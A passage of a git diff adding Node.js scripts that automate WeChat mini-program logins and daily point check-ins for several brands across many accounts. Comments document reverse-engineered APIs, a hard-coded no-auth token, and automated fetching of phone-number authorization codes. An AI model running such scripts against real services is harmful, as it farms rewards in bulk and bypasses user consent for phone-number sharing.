throw new Error(`登录未返回 access_token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async home() { + const res = await this.request("GET", EP_HOME); + if (Number(res?.errno) !== 0) throw new Error(`home失败: ${res?.errmsg || short(res)}`); + return res.data || {}; + } + async sign() { + const signed = await this.request("POST", EP_SIGN, {}); + if (Number(signed?.errno) === 0) { + const d = signed.data || {}; + return this.log(`✅ 签到成功${d.score !== undefined ? `,获得 ${d.score} 积分` : ""}${d.integral !== undefined ? `,积分 ${d.integral}` : ""}`); + } + if (/已签|签到过|重复|已完成/.test(String(signed?.errmsg || signed?.msg || ""))) return this.log(`✅ 今日已签到(${signed.errmsg || signed.msg})`); + this.log(`❌ 签到失败: ${signed?.errmsg || signed?.msg || short(signed)}`); + } + async prepareAndSign() { + const prepared = await this.request("POST", EP_PREPARE); + if (Number(prepared?.errno) !== 0) return this.log(`❌ 广告签到 prepare 失败: ${short(prepared)}`); + const adToken = String((prepared.data || {}).ad_token || ""); + if (!adToken) return this.log("❌ 广告签到 prepare 未返回 ad_token"); + await $.wait(10 * 1000) + const signed = await this.request("POST", EP_AD_SIGN, { ad_token: adToken }); + if (Number(signed?.errno) === 0) { + const d = signed.data || {}; + this.log(`✅ 广告签到成功${d.score !== undefined ? `,获得 ${d.score} 积分` : ""}${d.integral !== undefined ? `,积分 ${d.integral}` : ""}`); + await $.wait(30 * 1000) + await this.checkin_sign('ad'); + return + } + if (/已签|签到过|重复|已完成/.test(String(signed?.errmsg || signed?.msg || ""))) return this.log(`✅ 今日已签到(${signed.errmsg || signed.msg})`); + this.log(`❌ 广告签到失败: ${signed?.errmsg || signed?.msg || short(signed)}`); + } + async checkin_sign(type) { + let home; + try { + home = await this.home(); + } catch (e) { + if (/token|登录|未授权|失效|过期|401/i.test(String(e.message))) { + this.token = ""; + await this.login(); + home = await this.home(); + } else throw e; + } + if (type == 'ad') { + if (home.ad && home.ad.today_count < home.ad.daily_limit) { + await this.prepareAndSign(); + } else { + this.log("✅ 今日广告签到已完成签到或不可签") + } + + } else { + if (!home.enabled) return this.log("普通签到未开启"); + if (home.today_signed || !home.can_sign) { + this.log("✅ 今日普通签到已签到或不可签") + } else { + await this.sign(); + } + if (home.ad && home.ad.today_count < home.ad.daily_limit) { + await this.prepareAndSign(); + } else { + this.log("✅ 今日广告签到已完成签到或不可签") + } + } + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.checkin_sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/jyxe.js b/wxapp/jyxe.js new file mode 100644 index 00000000..50f87e43 --- /dev/null +++ b/wxapp/jyxe.js @@ -0,0 +1,269 @@ +/* +------------------------------------------ +@Description: 旧衣小二(旧衣回收)- 微信小程序登录 + 每日签到 +cron: 38 8 * * * +------------------------------------------ +变量名:jyxe +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 + +可选开关: +jyxe_phone_login 默认 1。这家的登录接口**必须带手机号授权 code**(见下), + 置 0 则不走手机号授权,只能用缓存 token 跑(首登会失败)。 +------------------------------------------ +契约(appid wx426d52c8130b8559,host jiuyixiaoer.fzjingzhou.com): + +请求全部 form 编码 + 固定头 platform: MP-WEIXIN。 +**token 不是请求头,是 body 参数 `token`**;未登录时用包里那个占位值 +wek2020123456788wek(解包 f552 模块的请求拦截器里写死的 noauth token)。 +信封 {code, msg, time, token, data},**成功码 1000**,1001 是业务失败。 + +登录 POST /api/login/wxMiniProgramOauth + form: code=&phoneCode=<手机号授权 code>&token=wek2020123456788wek + **必须带 phoneCode**:只发 code 时服务端 PHP 直接报 + {"code":1001,"msg":"Undefined index: phoneCode"} —— 这个报错把缺的参数名暴露出来了。 + -> data.token(后续会话)+ data.personInfo{score, sign_in_num, days, mobile, ...} +状态 POST /api/Person/index form: token= + -> data.sign_in_num(今日签到次数,>0 视为已签),score 是积分 +签到 POST /api/Person/sign form: token= + -> code==1000 且 data=="1" 即成功;重复签到回 {code:1001,"今日已签到"} + +实测(2026-08-19):登录成功 → 签到成功,积分 30→31、sign_in_num 0→1, +复签回「今日已签到」。缓存 token 可直接读 /api/Person/index,**不必每次都烧手机号授权**。 +不做:金币/兑换/邀请等其它任务。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("旧衣小二"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jyxe"; +const MINI_APP_ID = "wx426d52c8130b8559"; +const BASE = "https://jiuyixiaoer.fzjingzhou.com"; +const NOAUTH_TOKEN = "wek2020123456788wek"; +const PHONE_LOGIN = String(process.env.jyxe_phone_login ?? "1") !== "0"; +const TOKEN_CACHE_FILE = path.join(__dirname, "jyxe_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/api/login/wxMiniProgramOauth"; +const EP_INDEX = "/api/Person/index"; +const EP_SIGN = "/api/Person/sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +function maskPhone(p = "") { + return String(p).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +const isOk = (res) => Number(res?.code) === 1000; +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = {}) { + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: form(body), + headers: { + "content-type": "application/x-www-form-urlencoded", + platform: "MP-WEIXIN", + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + xweb_xhr: "1", + }, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + /** 手机号授权 code —— 这家登录接口的必填项。wcs.js 只有 getCode,这里自己发 /wx/getphonenumber */ + async getPhoneCode() { + const url = (process.env.wx_server_url || "http://192.168.31.196:8787") + "/wx/getphonenumber"; + const res = await axios.request({ + method: "POST", + url, + data: { appid: MINI_APP_ID, openid: this.account.openid }, + headers: { auth: process.env.wx_auth || "" }, + timeout: 30000, + validateStatus: () => true, + }); + const data = res.data || {}; + if (data.status === false) { + throw new Error(`wx_server 取手机号授权code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回手机号code: ${short(data)}`); + return code; + } + + async login() { + if (!PHONE_LOGIN) { + throw new Error("缓存token无效且 jyxe_phone_login=0:这家首登必须手机号授权,置 1 后重跑"); + } + const code = await this.getCode(); + const phoneCode = await this.getPhoneCode(); + const res = await this.request(EP_LOGIN, { code, phoneCode, token: NOAUTH_TOKEN }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + this.token = String(d.token || ""); + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const pi = d.personInfo || {}; + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${pi.mobile ? `: ${maskPhone(pi.mobile)}` : ""}`); + return pi; + } + + /** 读个人信息;会话失效返回 null */ + async personIndex(needLog = true) { + const res = await this.request(EP_INDEX, { token: this.token }); + if (!isOk(res)) { + if (needLog && !isAuthError(msgOf(res))) this.log(`读取个人信息失败: ${msgOf(res)}`); + return null; + } + const d = res.data || {}; + if (needLog) { + this.log(`积分 ${d.score ?? "-"},加入 ${d.days ?? "-"} 天,今日签到次数 ${d.sign_in_num ?? "-"}`); + } + return d; + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + const d = await this.personIndex(false); + if (d !== null) { + this.log("使用缓存token"); + return d; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) return await this.login(); + return null; + } + + async sign(pre) { + if (pre === null || pre === undefined) pre = await this.personIndex(); + if (pre === null) { + this.log("❌ 会话无效,签到跳过"); + return; + } + if (Number(pre.sign_in_num || 0) > 0) { + this.log("✅ 今日已签到"); + return; + } + const res = await this.request(EP_SIGN, { token: this.token }); + if (isOk(res)) { + this.log("✅ 签到成功"); + await this.personIndex(); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + const pre = await this.ensureLogin(); + await this.sign(pre); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/kangshifu.js b/wxapp/kangshifu.js new file mode 100644 index 00000000..1e4a61ed --- /dev/null +++ b/wxapp/kangshifu.js @@ -0,0 +1,296 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 康师傅畅饮社 +cron: 30 10 * * * +------------------------------------------ +#Notice: +康师傅畅饮社小程序 +变量名 ksfcys +变量值:wx_server 里的 openid/账号标识,多账户&或换行 +需要配置:wx_server_url、wx_auth + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("康师傅畅饮社"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("../wxapp/wcs.js"); + +const ckName = "ksfcys"; +const MINI_APP_ID = "wx54f3e6a00f7973a7"; +const API_BASE = "https://club.biqr.cn/"; +const FORUM_BASE = "https://nclub.gdshcm.com/pro/"; +const TOKEN_CACHE_FILE = path.join(__dirname, "kangshifu_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027"; +const defaultUserAgent = USER_AGENT; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function shortToken(token = "") { + const value = String(token); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function isSuccess(result) { + return Number(result?.code) === 0; +} + +function isTokenError(message) { + return /(^|[^0-9])600([^0-9]|$)|4002|token|登录|授权|未登录|无效|过期/i.test(String(message || "")); +} + +function formBody(data = {}) { + return new URLSearchParams(data).toString(); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.member = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached?.token) { + this.token = cached.token; + this.member = cached.member || {}; + $.log(`账号[${this.index}] 使用缓存token: ${shortToken(this.token)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.memberInfo(); + await this.signIn(); + await this.memberInfo("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + token: this.token, + member: this.member, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.member = {}; + } + + headers(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Accept": "application/json, text/plain, */*", + "xweb_xhr": "1", + "Referer": "https://servicewechat.com/wx54f3e6a00f7973a7/816/page-frame.html", + "Accept-Language": "zh-CN,zh;q=0.9", + ...extra, + }; + if (this.token) headers.token = this.token; + return headers; + } + + async request(baseURL, apiPath, { method = "GET", data, params, auth = true, form = false } = {}) { + const options = { + method, + url: new URL(apiPath, baseURL).toString(), + params, + headers: this.headers(form ? { + "Content-Type": "application/x-www-form-urlencoded;", + } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (!auth) delete options.headers.token; + if (data !== undefined) options.data = form ? formBody(data) : data; + + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!isSuccess(result)) throw new Error(`${result?.code ?? ""} ${result?.msg || result?.error || JSON.stringify(result)}`.trim()); + return result; + } + + async getLoginCode() { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 获取 code"); + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const result = await this.request(FORUM_BASE, "whale-member/api/login/login", { + method: "POST", + auth: false, + data: { + code, + inviterId: "", + inviterType: "", + inviterMatchUserId: "", + spUrl: "", + }, + }); + const token = result?.data?.token || ""; + if (!token) throw new Error(`登录响应未返回token: ${JSON.stringify(result)}`); + this.token = token; + this.member = result?.data?.member || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${this.member.nickname || maskPhone(this.member.phone) || this.member.id || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getMemberInfo(); + return true; + } catch (e) { + return false; + } + } + + async getMemberInfo() { + const result = await this.request(FORUM_BASE, "whale-member/api/member/getMemberInfo", { + params: { token: this.token }, + }); + this.member = result?.data || this.member || {}; + this.saveCachedToken(); + return this.member; + } + + async memberInfo(prefix = "当前") { + try { + const data = await this.getMemberInfo(); + const name = data?.nickname || maskPhone(data?.phone) || data?.id || ""; + const integral = data?.integral ?? data?.point ?? data?.points ?? data?.score ?? "未知"; + $.log(`账号[${this.index}] ${prefix}用户: ${name},积分: ${integral}`); + } catch (e) { + const message = String(e.message || e); + $.log(`账号[${this.index}] 查询用户失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getSignStatus() { + const result = await this.request(API_BASE, "api/signIn/integralSignInList", { + method: "POST", + data: { token: this.token }, + form: true, + }); + return result?.data || {}; + } + + async signIn() { + try { + const status = await this.getSignStatus(); + if (status?.signIs) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + + const result = await this.request(API_BASE, "api/signIn/integralSignIn", { + method: "POST", + data: {}, + form: true, + }); + $.log(`账号[${this.index}] 签到成功: ${result?.msg || "成功"}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已签|重复/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + await getNotice(); + $.checkEnv(ckName); + + for (const user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + const options = { + url: "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json", + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000, + }; + const { data: res } = await axios.request(options); + $.log(res); + return res; + } catch (e) {} +} diff --git a/wxapp/kekoukele.js b/wxapp/kekoukele.js new file mode 100644 index 00000000..4efb9e09 --- /dev/null +++ b/wxapp/kekoukele.js @@ -0,0 +1,193 @@ + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * 1 +------------------------------------------ +#Notice: +可口可乐 微信小程序 签到得积分 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code +变量名称:kekoukele +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("可口可乐小程序"); +const WeChatServer = require("./wcs.js"); +let ckName = `kekoukele`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wxa5811e0426a94686', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = null + this.wcsid = this.user[0] + this.isSign = false + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + await this.userInfo() + await this.addSign() + } + async getUserToken(code) { + let options = { + method: 'GET', + url: 'https://member-api.icoke.cn/api/sp-portal/store/icoke/wechat/loginNoCache/' + code, + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF XWEB/50249', + 'Accept': 'application/json, text/plain, */*', + 'xweb_xhr': '1', + 'Content-Type': 'application/json', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wxa5811e0426a94686/496/page-frame.html', + 'Accept-Language': 'zh-CN,zh;q=0.9' + } + }; + + let { + data: result + } = await axios.request(options); + + if (result?.jwtString) { + this.token = result?.jwtString + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.message}❌`) + } + } + async addSign() { + let options = { + method: "GET", + url: "https://member-api.icoke.cn/api/icoke-sign/icoke/mini/sign/main/sign", + headers: { + "accept": "application/json, text/plain, */*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token, + "content-type": "application/json", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "xweb_xhr": "1", + "Referer": "https://servicewechat.com/wxa5811e0426a94686/421/page-frame.html", + "Referrer-Policy": "unsafe-url" + }, + + } + try { + let { data: res } = await axios.request(options); + if (res.success == true) { + $.log(`签到成功 获得【${res.point}】快乐瓶`) + } else { + $.log(`签到失败`) + console.log(res); + } + } catch (e) { + console.log(e); + + } + } + async userInfo() { + let options = { + method: "GET", + url: "https://member-api.icoke.cn/api/icoke-customer/icoke/mini/customer/main/points", + headers: { + "accept": "application/json, text/plain, */*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token, + "content-type": "application/json", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "xweb_xhr": "1", + "Referer": "https://servicewechat.com/wxa5811e0426a94686/421/page-frame.html", + "Referrer-Policy": "unsafe-url" + }, + + } + try { + let { data: res } = await axios.request(options); + $.log(`目前还剩【${res.point}】瓶 `) + + } catch (e) { + console.log(e); + + } + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/wxapp/kuaijihe.js b/wxapp/kuaijihe.js new file mode 100644 index 00000000..b155fa58 --- /dev/null +++ b/wxapp/kuaijihe.js @@ -0,0 +1,249 @@ +/* +------------------------------------------ +@Description: 快集合 - 微信小程序登录 + 每日签到 +cron: 52 8 * * * +------------------------------------------ +变量名:kuaijihe +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx02092e8c44221583,host exp2.jintaocms.top,所有请求 form 编码): + +登录分两段(第一段只换 openid,第二段才发会话): + ① POST /app/Exp/wxappLoginCode form code= + -> code==1,data.openid(这是站点侧的 openid) + ② POST /app/Exp/wxappLogin2 form siright=1&open_id=<上面的 openid> + -> code==1,data.user_id / data.token / data.mobile + +签到次数 POST /app/Exp/getUserCheckin form token&user_id -> data 就是当前已签次数 +签到 POST /app/Exp/useCheckin form num=<当前次数+1>&token&user_id + 注意 num 不是"第几天",是"当前次数+1",所以必须先查再签,不能写死。 + +token / user_id 都放在 body 里,不是请求头。成功码 code==1,提示在 msg。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("快集合"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "kuaijihe"; +const MINI_APP_ID = "wx02092e8c44221583"; +const BASE = "https://exp2.jintaocms.top"; +const TOKEN_CACHE_FILE = path.join(__dirname, "kuaijihe_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN_CODE = "/app/Exp/wxappLoginCode"; +const EP_LOGIN2 = "/app/Exp/wxappLogin2"; +const EP_CHECKIN_NUM = "/app/Exp/getUserCheckin"; +const EP_CHECKIN = "/app/Exp/useCheckin"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +function maskPhone(p = "") { + return String(p).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +const isOk = (res) => Number(res?.code) === 1; +const msgOf = (res) => res?.msg || res?.message || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新/i.test(String(t || "")); +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.userId = ""; + this.mobile = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = {}) { + const res = await axios.request({ + method: "POST", + url: `${BASE}${apiPath}`, + data: form(body), + headers: { + "Content-Type": "application/x-www-form-urlencoded", + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + xweb_xhr: "1", + }, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 